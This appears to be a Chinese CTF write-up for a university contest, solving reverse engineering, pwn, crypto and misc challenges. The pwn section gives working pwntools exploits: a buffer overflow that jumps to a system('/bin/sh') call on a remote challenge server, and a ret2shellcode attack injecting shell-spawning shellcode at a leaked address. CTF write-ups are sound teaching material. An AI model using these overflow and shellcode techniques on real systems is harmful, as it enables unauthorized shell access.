菜到哭泣。
reverse
Easy Android
参数都在上面的函数里有(数据块128位没找到,我猜的)。
Medium Android
变种base64.
主函数:
base64_encode:
下图代码将字符串nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf
反转并作为base64的码表。
//反转字符串
//其实大佬可以直接看出上图的算法就是字符串反转,只有我这种菜鸡才不得不用c++验证一下。
#include <iostream>
using namespace std;
int main(){
char aNf67gmb4w50pqc[] = "nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf";
signed __int64 v11 = 63LL;
char *v12 = aNf67gmb4w50pqc;
do
{
char v13 = *v12 ^ aNf67gmb4w50pqc[v11];
*v12 = v13;
char v14 = aNf67gmb4w50pqc[v11] ^ v13;
aNf67gmb4w50pqc[v11--] = v14;
*v12 ^= v14;
++v12;
}
while ( v11 != 31 );
for (int i=0;i<=63;i++){
cout<<aNf67gmb4w50pqc[i];
}
}
//输出码表:fGtvYr/JauS1jINd+h9bXkoWxEOAseqyKmPcl82LZ3UTDzRVHiCQp05w4BMg76Fn
错误脚本
一开始误以为算法就是换了码表的base64,写出下面的脚本:
import base64
str1 = "xwkzPBC1ELzGlAMds/i8VTRqqXz82ZFTO/kYcAMaxWlmaWp="
string1 = 'fGtvYr/JauS1jINd+h9bXkoWxEOAseqyKmPcl82LZ3UTDzRVHiCQp05w4BMg76Fn'
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))
str1
是密文,string1为新码表,string2为默认码表。
输出b'cum\x8b\x9c\x8bf{A\x91\xbe\x8fple\xbe\xbb\x9eyKe\x9a\x8f\xabheD\x8d\xbe\x88ay!!}'
或者可以用下面的脚本:
base64_charset = 'nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf'[::-1]
def Base64NewDecode(string):
base64_bytes = ["{:0>6}".format(str(bin(base64_charset.index(c))).replace('0b', '')) for c in string if c != '=']
base64_bytes_str = ''.join(base64_bytes)
for i in range(len(base64_bytes_str)//8):
byte = base64_bytes_str[i*8:i*8+8]
if 32<=int(byte, 2)<=126:
print(chr(int(byte,2)),end='')
else:
print('*',end='')
Base64NewDecode('xwkzPBC1ELzGlAMds/i8VTRqqXz82ZFTO/kYcAMaxWlmaWp=')
输出cum***f{A***ple***yKe***heD***ay!!}
(非法字符用*代替)
正确脚本
观察上面的字符串,三个正常,三个非法,并且最重要的,第一处非法的三个字符一定是tct(因为cumtctf),观察二进制10001011 10011100 10001011
,一三的二进制相同,按位反转后,10001011
是01110100
,恰好是字符t.
所以猜测算法不仅是换了码表的base64,而且奇数的每三个字符(看不懂的话对照一下上面字符串的*星号的位置,数学表达就是6k+3,6k+4,6k+5, k=1,2,3,4,5)都要按位翻转。
base64_charset = 'nF67gMB4w50pQCiHVRzDTU3ZL28lcPmKyqesAOExWokXb9h+dNIj1SuaJ/rYvtGf'[::-1]
def Base64NewDecode(string):
base64_bytes = ["{:0>6}".format(str(bin(base64_charset.index(c))).replace('0b', '')) for c in string if c != '=']
base64_bytes_str = ''.join(base64_bytes)
for i in range(len(base64_bytes_str)//8):
if (i // 3) % 2 == 0:
byte = base64_bytes_str[i*8:i*8+8]
if 32<=int(byte, 2)<=126:
print(chr(int(byte,2)),end='')
else:
print('*',end='')
else:
byte = base64_bytes_str[i*8:i*8+8]#.replace('0','-').replace('1','0').replace('-','1')
if 32<=(int(byte,2) ^ 0xff)<=126:
print(chr(int(byte,2) ^ 0xff),end='')
else:
print('*',end='')
Base64NewDecode('xwkzPBC1ELzGlAMds/i8VTRqqXz82ZFTO/kYcAMaxWlmaWp=')
按位翻转其实就是按位与1异或,对于8位二进制而言,就是与0b11111111
即0xff
异或
输出cumtctf{AnAppleADayKeepTheDrAway!**
综合上面的cum***f{A***ple***yKe***heD***ay!!}
flag就是cumtctf{AnAppleADayKeepTheDrAway!!}
easy_vm
主函数
加密函数
bytedd:
第一个字节是数据,第四个字节是操作码,4个操作码对应4种运算。
最后的13h是结束循环的标志,请对照上上图中的红线处。
bytepp = [0xa, 0xa1,0x5d,0x56,0x7b,0xab,0x57,0x77,0x3c,0x5e,0x64,0xe1,0x49,0xb2,0x60,0x6f,0x1,0x5d,0x8a,0x148,0x50]
op = [0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc,0xf8,0xf9,0xff,0xcc]
bytedd = [0x41,0x38,0x59,0x4e,0x2d,0x4e,0x0f,0x41,0x20,0x62,0x4e,0x37,0x0b,0x64,0x73,0x63,0x42,0x21,0x16,0x0a]
flag = [0]*21
v2 = [0] * 21
for i in range(len(v2)):
v2[i] = bytepp[i] ^ 0x2d
for i in range(19, -1, -1):
v1 = op[i]
if v1 == 0xf8:
flag[i] = v2[i] ^ bytedd[i]
elif v1 == 0xf9:
flag[i] = (v2[i] - bytedd[i]) ^ bytedd[i]
elif v1 == 0xff:
flag[i] = (v2[i] -56) ^ bytedd[i]
elif v1 == 0xcc:
flag[i] = (v2[i]//3) ^ bytedd[i]
flag = ''.join(map(chr,flag))
print(flag)
四种运算,分别逆向算法。逻辑很简单,所以这里就不详细分析了。
PWN
eeeeeeasy
主函数:
并且发现了调用system("/bin/sh")
的函数。
from pwn import *
p = remote('202.119.201.199','11000')
payload = 'a'*0x18 + p64(0x4005B6)
p.sendline(payload)
p.interactive()
但是写wp时,不知道为什么本地没打通,搞不明白。
0x4005b6
是system('/bin/sh')
的地址。
what is shellcode?
通过第八行输出的v5的地址,计算出buf的地址。
第一个read没用,随便写点数据。
第二个read,写入shellcode,并填充垃圾字符,直至ret处。返回地址为buf的地址(即shellcode的地址)
from pwn import *
p = process("./ret2shellcode")
#p = remote('202.119.201.199', '11002')
context(arch='amd64', os='linux', log_level='debug')
shellcode = asm(shellcraft.sh())
t = p.recvuntil('there is a gift: ')
v5_addr = int(p.recv()[:-1],16) #去除\n
print hex(v5_addr)
buf_addr = v5_addr-(0x110-0x4)
p.sendline('a'*0x09)
payload = flat([shellcode.ljust(0x118, "A"), buf_addr])
#payload = shellcode + 'A'* (0x110+0x08-len(shellcode)) + p64(buf_addr)
#上面两个语句是等价的
p.sendline(payload)
p.interactive()
CRYPTO
仿射密码
密文:cejldputgtbjwrfhpttnt
穷举即可,从几百条字符串中找到flag
参考:【密码学】古典密码
#-*- coding:utf-8 -*-
# Classical Cipher: Affine Cipher
# Table of statistical result
fTbl = "EARIOTNSLCUDPMHGBFYWKVXZJQ"
class Node:
ch = ''
cnt = 0
def __init__(self,ch,cnt):
self.ch = ch
self.cnt = cnt
def __str__(self):
return self.ch+":\t"+str(self.cnt)
def __lt__(self,other):
return self.cnt > other.cnt
# Greatest Common Divisor(GCD)
def gcd(a,b):
if a%b == 0:
return b
return gcd(b,a%b)
# Find mod m reverse of a
def findModReverse(a,m):
if gcd(a,m)!=1:
return None
u1,u2,u3 = 1,0,a
v1,v2,v3 = 0,1,m
while v3!=0:
q = u3//v3
v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3
return u1%m
# Encryption
def AffineEncrypt(m,k1,k2):
k2 %= 26
if gcd(k1,26) != 1:
print("k1 and 26 are not mutually prime, and encryption fails.")
return
l = len(m)
ans = ""
for i in range(l):
if m[i].isupper():
ans += chr((k1*(ord(m[i])-ord('A'))+k2)%26+ord('A'))
elif m[i].islower():
ans += chr((k1*(ord(m[i])-ord('a'))+k2)%26+ord('a'))
else:
ans += m[i]
return ans
# Decryption(normal)
def AffineDecrypt(c,k1,k2):
k2 %= 26
if gcd(k1,26) != 1:
print("k1 and 26 are not mutually prime, and decryption fails.")
return
k1 = findModReverse(k1,26)
l = len(c)
ans = ""
for i in range(l):
if c[i].isupper():
ans += chr((k1*(ord(c[i])-ord('A')+26-k2))%26+ord('A'))
elif c[i].islower():
ans += chr((k1*(ord(c[i])-ord('a')+26-k2))%26+ord('a'))
else:
ans += c[i]
return ans
# Decryption(exhaustive)
def BruteAffineDecrypt(c):
for k1 in range(26):
if gcd(k1,26) == 1:
for k2 in range(26):
print "k1 = "+str(k1).zfill(2),
print ", k2 = "+str(k2).zfill(2),
print ": "+AffineDecrypt(c,k1,k2)
# Decryption(statistical analysis)
def StatisticalAffineDecrypt(c):
l = len(c)
ciperCopy = c.lower()
alphaNum = []
# Initialize
for i in range(26):
t = Node(chr(ord('a')+i),0)
alphaNum.append(t)
# Count
for i in range(l):
if ciperCopy[i].isalpha():
alphaNum[ord(ciperCopy[i])-ord('a')].cnt += 1
# Sort
alphaNum.sort()
# Generate Substitution Table
for k1 in range(26):
if gcd(k1,26) == 1:
for k2 in range(26):
if chr((4*k1+k2)%26+ord('a')) == alphaNum[0].ch:
print "k1 = "+str(k1).zfill(2),
print ", k2 = "+str(k2).zfill(2)+":"
print AffineDecrypt(c,k1,k2)
# Main function
def main():
while True:
op = raw_input("What do you want to do?\n[E]Encryption [D]Decryption [B]Brute-Attack [S]Statistical-Analysis-Attack\n").upper()
if op[0] == "E":
# s = "Haha CUMTer~"
# k1,k2 = 5,6
s = raw_input("Please enter your plaintext:\n\t")
k1 = input("Please enter your k1(gcd(k1,26)=1):\n\t")
k2 = input("Please enter your k2:\n\t")
# ******** Encryption ********
print 8*"*"+" Encryption "+8*"*"
Encryption = AffineEncrypt(s,k1,k2)
print "The Ciphertext is:\n\t"+Encryption
break
elif op[0] == "D":
s = raw_input("Please enter your ciphertext:\n\t")
k1 = input("Please enter your k1(gcd(k1,26)=1):\n\t")
k2 = input("Please enter your k2:\n\t")
# ******** Decryption ********
print 8*"*"+" Decryption "+8*"*"
Decryption = AffineDecrypt(s,k1,k2)
print "The Plaintext is:\n\t"+Decryption
break
elif op[0] == "B":
# ******* Brute Attack *******
s = raw_input("Please enter your ciphertext:\n\t")
print 7*"*"+" Brute Attack "+7*"*"
BruteAffineDecrypt(s)
break
elif op[0] == "S":
# *** Statistical Analysis Attack ***
# s = "Pu yfo of oin hvy ufa hrpkpyb, jlar ph hopkk py oin hvy oinan, svo jnjpkk klvbi rfan zfyupgnyo zlkr; pu ovayng of ufvyg iph fjy hilgfj, lmmafmaplon nhzlmn, oin hvy jpkk sn oiafvbi oin inlao,jlar nlzi mklzn snipyg oin zfayna; pu ly fvohoanozing mlkr zlyyfo ulkk svoonaukx, oiny zknyzing jlcpyb larh, bpcny mfjna; pu P zly'o ilcn sapbio hrpkn, po jpkk ulzn of oin hvyhipyn, lyg hvyhipyn hrpkn ofbnoina, py uvkk skffr."
s = raw_input("Please enter your ciphertext:\n\t")
print 3*"*"+" Statistical Analysis Attack "+3*"*"
StatisticalAffineDecrypt(s)
break
else:
continue
if __name__ == '__main__':
main()
MISC
你可劲找之word
打开word,发现flag,但是禁止复制,所以手打即可。
你可劲找之JPG
winhex打开,文件末尾有flag
你可劲找之音乐贼好听
二维码修复,得到key:BxS1909
然后使用MP3Stego
从mp3中分出flag
flag在目录下的speaker.mp3.txt
内。